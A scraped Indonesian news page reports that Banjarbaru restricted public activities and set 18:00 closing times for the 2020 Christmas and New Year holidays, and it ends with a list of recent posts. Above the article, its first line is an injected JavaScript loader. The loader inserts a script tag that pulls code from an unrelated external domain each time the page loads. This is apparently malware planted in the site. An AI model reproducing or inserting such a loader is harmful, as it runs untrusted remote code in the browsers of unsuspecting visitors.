(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

BREAKING NEWS. Libur Nataru di Banjarbaru Area Publik Ditutup Pukul 6 Sore


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru menetapkan adanya pembatasan kegiatan masyarakat selama masa libur Natal dan Tahun Baru (Nataru) 2021.

Hal itu sebagaimana maklumat hasil kesepakatan bersama seluruh unsur Forum Komunikasi Pimpinan Daerah (Forkopimda) Kota Banjarbaru, baik itu pihak pemerintah, kepolisian, TNI, serta kejaksaan.

Dalam konferensi pers, Rabu (23/12/2020) pagi, Sekretaris Daerah (Sekda) Kota Banjarbaru, H Said Abdullah mengungkapkan bahwa kebijakan ini mempertimbangkan situasi nasional terkait dengan bertambahnya jumlah penderita Covid-19 secara signifikan setelah masa libur.

Maka dari itu, kata Sekda, pihaknya telah mengeluarkan kebijakan dalam rangka antisipasi penyebaran dan upaya penanganan pandemi secara baik, cepat, dan tepat. Salah satunya, pembatasan kegiatan masyarakat di area publik saat libur Natal 2020 dan Tahun Baru 2021.

 

“Kami meminta masyarakat mengutamakan aktivitas di rumah selama masa libur dan senantiasa menerapkan Protokol Kesehatan (3M) dalam setiap aktivitas. Menghindari kerumunan dan kegiatan yang melibatkan banyak orang,” katanya.

Selain itu, Said mengungkapkan bahwa pembatasan kegiatan masyarakat di area publik, berlaku sejak tanggal 24-31 Desember 2020. Selama itu juga, katanya, tempat hiburan umum baik itu karaoke, bioskop, cafe, dan tempat  wisata harus menghentikan aktivitas maksimal pukul 18.00 Wita.

“Termasuk juga aktivitas di Lapangan Murjani, Minggu Raya dan sekitarnya ditutup maksimal pada pukul 18.00 Wita,” tegasnya.

Lantas, bagaimana jika tempat usaha yang melanggar seluruh ketentuan tersebut? Dalam hal ini, Sekda menegaskan bahwa ada sanksi yang diberikan kepada setiap pengelolaa tempat usaha.

“Sebagaimana ketentuan yang berlaku, kita akan menutup tempat usahanya sementara waktu,” terangnya.

Terkahir, pemerintah juga melarang adanya kegiatan pesta perayaan tahun baru, seperti halnya pesta perayaan kembang api. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

Al Ghifari

Recent Posts

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

5 jam ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

8 jam ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

9 jam ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

12 jam ago

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

14 jam ago

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

16 jam ago